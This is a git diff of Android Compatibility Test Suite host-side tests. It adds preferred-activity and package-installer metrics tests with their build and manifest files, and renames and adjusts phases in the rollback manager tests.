+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.preferredactivity.app;
+
+import android.app.Activity;
+
+public class MainActivity extends Activity {
+}
diff --git a/hostsidetests/packagemanager/preferredactivity/apps/testapp/src/com/android/cts/packagemanager/preferredactivity/app/PreferredActivityDeviceTests.java b/hostsidetests/packagemanager/preferredactivity/apps/testapp/src/com/android/cts/packagemanager/preferredactivity/app/PreferredActivityDeviceTests.java
new file mode 100644
index 0000000..f95530a
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/apps/testapp/src/com/android/cts/packagemanager/preferredactivity/app/PreferredActivityDeviceTests.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.preferredactivity.app;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class PreferredActivityDeviceTests {
+    private static final String ACTIVITY_ACTION_NAME = "android.intent.action.PMTEST";
+    private static final String PACKAGE_NAME =
+            "com.android.cts.packagemanager.preferredactivity.app";
+    private static final String ACTIVITY_NAME = PACKAGE_NAME + ".MainActivity";
+    private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+    private final PackageManager mPackageManager = mContext.getPackageManager();
+
+    @Test
+    public void testAddOnePreferredActivity() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.SET_PREFERRED_APPLICATIONS);
+        final IntentFilter intentFilter = new IntentFilter(ACTIVITY_ACTION_NAME);
+        final ComponentName[] componentName = {new ComponentName(PACKAGE_NAME, ACTIVITY_NAME)};
+        try {
+            mPackageManager.addPreferredActivity(intentFilter, IntentFilter.MATCH_CATEGORY_HOST,
+                    componentName, componentName[0]);
+        } catch (SecurityException e) {
+            fail("addPreferredActivity failed: " + e.getMessage());
+        }
+    }
+
+    @Test
+    public void testHasPreferredActivities() {
+        final int expectedNumPreferredActivities = Integer.parseInt(
+                InstrumentationRegistry.getArguments().getString("numPreferredActivities"));
+        final List<ComponentName> outActivities = new ArrayList<>();
+        final List<IntentFilter> outFilters = new ArrayList<>();
+        mPackageManager.getPreferredActivities(outFilters, outActivities, PACKAGE_NAME);
+        assertEquals(expectedNumPreferredActivities, outActivities.size());
+        assertEquals(expectedNumPreferredActivities, outFilters.size());
+    }
+}
diff --git a/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java b/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
new file mode 100644
index 0000000..08766dc
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.preferredactivity.host;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.RunUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileNotFoundException;
+import java.util.Collections;
+import java.util.Map;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class PreferredActivityTests extends BaseHostJUnit4Test implements IBuildReceiver {
+    private static final String TEST_PACKAGE_NAME =
+            "com.android.cts.packagemanager.preferredactivity.app";
+    private static final String TEST_CLASS_NAME =
+            TEST_PACKAGE_NAME + ".PreferredActivityDeviceTests";
+    private static final String TEST_APK_NAME = "CtsPackageManagerPreferredActivityApp.apk";
+    private CompatibilityBuildHelper mBuildHelper;
+    private static final int PREFERRED_ACTIVITY_WRITE_SLEEP_MS = 10000;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+    }
+
+    @Before
+    public void setUp() throws DeviceNotAvailableException, FileNotFoundException {
+        getDevice().installPackage(mBuildHelper.getTestFile(TEST_APK_NAME), false, false, "");
+        assertTrue(getDevice().isPackageInstalled(TEST_PACKAGE_NAME));
+    }
+
+    @After
+    public void tearDown() throws DeviceNotAvailableException {
+        // Uninstall to clean up the preferred activity added from the test
+        getDevice().uninstallPackage(TEST_PACKAGE_NAME);
+        assertFalse(getDevice().isPackageInstalled(TEST_PACKAGE_NAME));
+    }
+
+    @LargeTest
+    @Test
+    @AppModeFull
+    public void testAddPreferredActivity() throws Exception {
+        assertTrue(runDeviceTestsWithArgs(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testHasPreferredActivities",
+                Collections.singletonMap("numPreferredActivities", "0")));
+        assertTrue(runDeviceTests(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testAddOnePreferredActivity"));
+        assertTrue(runDeviceTestsWithArgs(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testHasPreferredActivities",
+                Collections.singletonMap("numPreferredActivities", "1")));
+        // Wait a bit before reboot, allowing the preferred activity info to be written to disk.
+        RunUtil.getDefault().sleep(PREFERRED_ACTIVITY_WRITE_SLEEP_MS);
+        getDevice().reboot();
+        assertTrue(runDeviceTestsWithArgs(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testHasPreferredActivities",
+                Collections.singletonMap("numPreferredActivities", "1")));
+    }
+
+    @LargeTest
+    @Test
+    @AppModeFull
+    public void testAddDuplicatedPreferredActivity() throws Exception {
+        assertTrue(runDeviceTestsWithArgs(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testHasPreferredActivities",
+                Collections.singletonMap("numPreferredActivities", "0")));
+        assertTrue(runDeviceTests(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testAddOnePreferredActivity"));
+        // Add again
+        assertTrue(runDeviceTests(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testAddOnePreferredActivity"));
+        assertTrue(runDeviceTestsWithArgs(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testHasPreferredActivities",
+                Collections.singletonMap("numPreferredActivities", "2")));
+        // Wait a bit before reboot, allowing the preferred activity info to be written to disk.
+        RunUtil.getDefault().sleep(PREFERRED_ACTIVITY_WRITE_SLEEP_MS);
+        getDevice().reboot();
+        // Test that duplicated entries are removed after reboot
+        assertTrue(runDeviceTestsWithArgs(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testHasPreferredActivities",
+                Collections.singletonMap("numPreferredActivities", "1")));
+    }
+
+    private boolean runDeviceTestsWithArgs(String pkgName, String testClassName,
+            String testMethodName, Map<String, String> testArgs) throws Exception {
+        final String testRunner = "androidx.test.runner.AndroidJUnitRunner";
+        final long defaultTestTimeoutMs = 60 * 1000L;
+        final long defaultMaxTimeoutToOutputMs = 60 * 1000L; // 1min
+        return runDeviceTests(getDevice(), testRunner, pkgName, testClassName, testMethodName,
+                null, defaultTestTimeoutMs, defaultMaxTimeoutToOutputMs,
+                0L, true, false, testArgs);
+    }
+}
diff --git a/hostsidetests/packagemanager/stats/Android.bp b/hostsidetests/packagemanager/stats/Android.bp
new file mode 100644
index 0000000..d70bc1b
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsPackageManagerStatsHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "cts-host-utils",
+    ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
+    data: [
+        ":CtsStatsdAtomEmptyApp",
+        ":CtsStatsdAtomEmptySplitApp",
+    ],
+    java_resource_dirs: ["res"],
+}
diff --git a/hostsidetests/packagemanager/stats/AndroidTest.xml b/hostsidetests/packagemanager/stats/AndroidTest.xml
new file mode 100644
index 0000000..b5d4eb7
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS package manager metrics host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsPackageManagerStatsHostTestCases.jar" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/packagemanager/stats/OWNERS b/hostsidetests/packagemanager/stats/OWNERS
new file mode 100644
index 0000000..ee4101d
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 36137
+toddke@google.com
+patb@google.com
+schfan@google.com
+chiuwinson@google.com
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/stats/apps/emptyapp/Android.bp b/hostsidetests/packagemanager/stats/apps/emptyapp/Android.bp
new file mode 100644
index 0000000..593d53d
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/apps/emptyapp/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsStatsdAtomEmptyApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    v4_signature: true,
+}
+
+android_test_helper_app {
+    name: "CtsStatsdAtomEmptySplitApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    v4_signature: true,
+    package_splits: ["pl"],
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/stats/apps/emptyapp/AndroidManifest.xml b/hostsidetests/packagemanager/stats/apps/emptyapp/AndroidManifest.xml
new file mode 100644
index 0000000..2671c05
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/apps/emptyapp/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.packagemanager.stats.emptyapp">
+    <application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
+
diff --git a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/PackageInstallerV2StatsTests.java b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/PackageInstallerV2StatsTests.java
new file mode 100644
index 0000000..369c983
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/PackageInstallerV2StatsTests.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.stats.host;
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.List;
+
+public class PackageInstallerV2StatsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String FEATURE_INCREMENTAL_DELIVERY = "android.software.incremental_delivery";
+    private static final String TEST_INSTALL_APK = "CtsStatsdAtomEmptyApp.apk";
+    private static final String TEST_INSTALL_APK_BASE = "CtsStatsdAtomEmptySplitApp.apk";
+    private static final String TEST_INSTALL_APK_SPLIT = "CtsStatsdAtomEmptySplitApp_pl.apk";
+    private static final String TEST_INSTALL_PACKAGE =
+            "com.android.cts.packagemanager.stats.emptyapp";
+    private static final String TEST_REMOTE_DIR = "/data/local/tmp/statsdatom";
+    private static final String SIGNATURE_FILE_SUFFIX = ".idsig";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        getDevice().deleteFile(TEST_REMOTE_DIR);
+        getDevice().uninstallPackage(TEST_INSTALL_PACKAGE);
+        super.tearDown();
+    }
+
+    public void testPackageInstallerV2MetricsReported() throws Throwable {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_INCREMENTAL_DELIVERY)) return;
+        final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
+                new String[]{TEST_INSTALL_APK});
+        assertTrue(report.getIsIncremental());
+        // tests are ran using SHELL_UID and installation will be treated as adb install
+        assertEquals("", report.getPackageName());
+        assertEquals(1, report.getReturnCode());
+        assertTrue(report.getDurationMillis() > 0);
+        assertEquals(getTestFileSize(TEST_INSTALL_APK), report.getApksSizeBytes());
+    }
+
+    public void testPackageInstallerV2MetricsReportedForSplits() throws Throwable {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_INCREMENTAL_DELIVERY)) return;
+        final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
+                new String[]{TEST_INSTALL_APK_BASE, TEST_INSTALL_APK_SPLIT});
+        assertTrue(report.getIsIncremental());
+        // tests are ran using SHELL_UID and installation will be treated as adb install
+        assertEquals("", report.getPackageName());
+        assertEquals(1, report.getReturnCode());
+        assertTrue(report.getDurationMillis() > 0);
+        assertEquals(
+                getTestFileSize(TEST_INSTALL_APK_BASE) + getTestFileSize(TEST_INSTALL_APK_SPLIT),
+                report.getApksSizeBytes());
+    }
+
+    private long getTestFileSize(String fileName) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        final File file = buildHelper.getTestFile(fileName);
+        return file.length();
+    }
+
+    private AtomsProto.PackageInstallerV2Reported installPackageUsingV2AndGetReport(
+            String[] apkNames) throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PACKAGE_INSTALLER_V2_REPORTED_FIELD_NUMBER);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        installPackageUsingIncremental(apkNames, TEST_REMOTE_DIR);
+        assertTrue(getDevice().isPackageInstalled(TEST_INSTALL_PACKAGE));
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<AtomsProto.PackageInstallerV2Reported> reports = new ArrayList<>();
+        for (StatsLog.EventMetricData data : ReportUtils.getEventMetricDataList(getDevice())) {
+            if (data.getAtom().hasPackageInstallerV2Reported()) {
+                reports.add(data.getAtom().getPackageInstallerV2Reported());
+            }
+        }
+        assertEquals(1, reports.size());
+        return reports.get(0);
+    }
+
+    private void installPackageUsingIncremental(String[] apkNames, String remoteDirPath)
+            throws Exception {
+        getDevice().executeShellCommand("mkdir " + remoteDirPath);
+        String[] remoteApkPaths = new String[apkNames.length];
+        for (int i = 0; i < remoteApkPaths.length; i++) {
+            remoteApkPaths[i] = pushApkToRemote(apkNames[i], remoteDirPath);
+        }
+        String installResult = getDevice().executeShellCommand(
+                "pm install-incremental -t -g " + String.join(" ", remoteApkPaths));
+        assertEquals("Success\n", installResult);
+    }
+
+    private String pushApkToRemote(String apkName, String remoteDirPath)
+            throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        final File apk = buildHelper.getTestFile(apkName);
+        final File signature = buildHelper.getTestFile(apkName + SIGNATURE_FILE_SUFFIX);
+        assertNotNull(apk);
+        assertNotNull(signature);
+        final String remoteApkPath = remoteDirPath + "/" + apk.getName();
+        final String remoteSignaturePath = remoteApkPath + SIGNATURE_FILE_SUFFIX;
+        assertTrue(getDevice().pushFile(apk, remoteApkPath));
+        assertTrue(getDevice().pushFile(signature, remoteSignaturePath));
+        return remoteApkPath;
+    }
+
+}
diff --git a/hostsidetests/rollback/Android.bp b/hostsidetests/rollback/Android.bp
index 04e264d..9871ab4 100644
--- a/hostsidetests/rollback/Android.bp
+++ b/hostsidetests/rollback/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsRollbackManagerHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/rollback/app/AndroidManifest.xml b/hostsidetests/rollback/app/AndroidManifest.xml
index 71cf5c1..76d239d 100644
--- a/hostsidetests/rollback/app/AndroidManifest.xml
+++ b/hostsidetests/rollback/app/AndroidManifest.xml
@@ -23,8 +23,6 @@
     </queries>
 
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
index 76de24a..156980a 100644
--- a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
+++ b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
@@ -25,6 +25,7 @@
 
 import android.Manifest;
 import android.content.Context;
+import android.content.pm.PackageInstaller;
 import android.content.rollback.RollbackInfo;
 import android.content.rollback.RollbackManager;
 import android.os.storage.StorageManager;
@@ -98,7 +99,7 @@
      * Commits TestApp.A2 as a staged install with rollback enabled.
      */
     @Test
-    public void testApkOnlyStagedRollback_Phase1() throws Exception {
+    public void testApkOnlyStagedRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
 
         Install.single(TestApp.A1).commit();
@@ -111,7 +112,7 @@
      * rollback.
      */
     @Test
-    public void testApkOnlyStagedRollback_Phase2() throws Exception {
+    public void testApkOnlyStagedRollback_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
 
@@ -132,7 +133,6 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
     }
 
@@ -141,7 +141,7 @@
      * Confirms TestApp.A2 was rolled back.
      */
     @Test
-    public void testApkOnlyStagedRollback_Phase3() throws Exception {
+    public void testApkOnlyStagedRollback_Phase3_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
 
@@ -158,7 +158,7 @@
      * Commits TestApp.A2 and TestApp.B2 as a staged install with rollback enabled.
      */
     @Test
-    public void testApkOnlyMultipleStagedRollback_Phase1() throws Exception {
+    public void testApkOnlyMultipleStagedRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
 
@@ -175,7 +175,7 @@
      * rollback.
      */
     @Test
-    public void testApkOnlyMultipleStagedRollback_Phase2() throws Exception {
+    public void testApkOnlyMultipleStagedRollback_Phase2_RollBack() throws Exception {
         // Process TestApp.A
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
@@ -193,7 +193,6 @@
                 Rollback.from(TestApp.A2).to(TestApp.A1));
         assertThat(committed).causePackagesContainsExactly(TestApp.A2);
         assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
 
         // Process TestApp.B
@@ -213,7 +212,6 @@
                 Rollback.from(TestApp.B2).to(TestApp.B1));
         assertThat(committed).causePackagesContainsExactly(TestApp.B2);
         assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
     }
 
@@ -222,7 +220,7 @@
      * Confirms TestApp.A2 and TestApp.B2 was rolled back.
      */
     @Test
-    public void testApkOnlyMultipleStagedRollback_Phase3() throws Exception {
+    public void testApkOnlyMultipleStagedRollback_Phase3_Confirm() throws Exception {
         // Process TestApp.A
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
@@ -249,7 +247,7 @@
      * Commits TestApp.A2 and TestApp.B2 as a staged install with rollback enabled.
      */
     @Test
-    public void testApkOnlyMultipleStagedPartialRollback_Phase1() throws Exception {
+    public void testApkOnlyMultipleStagedPartialRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
 
@@ -266,7 +264,7 @@
      * rollback.
      */
     @Test
-    public void testApkOnlyMultipleStagedPartialRollback_Phase2() throws Exception {
+    public void testApkOnlyMultipleStagedPartialRollback_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
         RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
@@ -283,7 +281,6 @@
                 Rollback.from(TestApp.A2).to(TestApp.A1));
         assertThat(committed).causePackagesContainsExactly(TestApp.A2);
         assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
     }
 
@@ -292,7 +289,7 @@
      * Confirms TestApp.A2 was rolled back.
      */
     @Test
-    public void testApkOnlyMultipleStagedPartialRollback_Phase3() throws Exception {
+    public void testApkOnlyMultipleStagedPartialRollback_Phase3_Confirm() throws Exception {
         // Process TestApp.A
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
@@ -314,7 +311,7 @@
      * <p> We start by installing version 2. The test ultimately rolls back from 3 to 2.
      */
     @Test
-    public void testApexOnlyStagedRollback_Phase1() throws Exception {
+    public void testApexOnlyStagedRollback_Phase1_InstallFirst() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         Install.single(TestApp.Apex2).setStaged().commit();
     }
@@ -324,7 +321,7 @@
      * Enable rollback phase.
      */
     @Test
-    public void testApexOnlyStagedRollback_Phase2() throws Exception {
+    public void testApexOnlyStagedRollback_Phase2_InstallSecond() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
 
         // keep the versions of the apks in shim apex for verifying in phase3
@@ -338,7 +335,7 @@
      * Commit rollback phase.
      */
     @Test
-    public void testApexOnlyStagedRollback_Phase3() throws Exception {
+    public void testApexOnlyStagedRollback_Phase3_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
 
         long[] versions = retrieveApkInApexVersion();
@@ -369,7 +366,6 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
     }
 
@@ -378,7 +374,7 @@
      * Confirm rollback phase.
      */
     @Test
-    public void testApexOnlyStagedRollback_Phase4() throws Exception {
+    public void testApexOnlyStagedRollback_Phase4_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
 
         // Rollback data for shim apex will remain in storage since the apex cannot be completely
@@ -390,7 +386,7 @@
      * Test rollback to system version involving apex only
      */
     @Test
-    public void testApexOnlySystemVersionStagedRollback_Phase1() throws Exception {
+    public void testApexOnlySystemVersionStagedRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
 
         // keep the versions of the apks in shim apex for verifying in phase2
@@ -400,7 +396,7 @@
     }
 
     @Test
-    public void testApexOnlySystemVersionStagedRollback_Phase2() throws Exception {
+    public void testApexOnlySystemVersionStagedRollback_Phase2_RollBack() throws Exception {
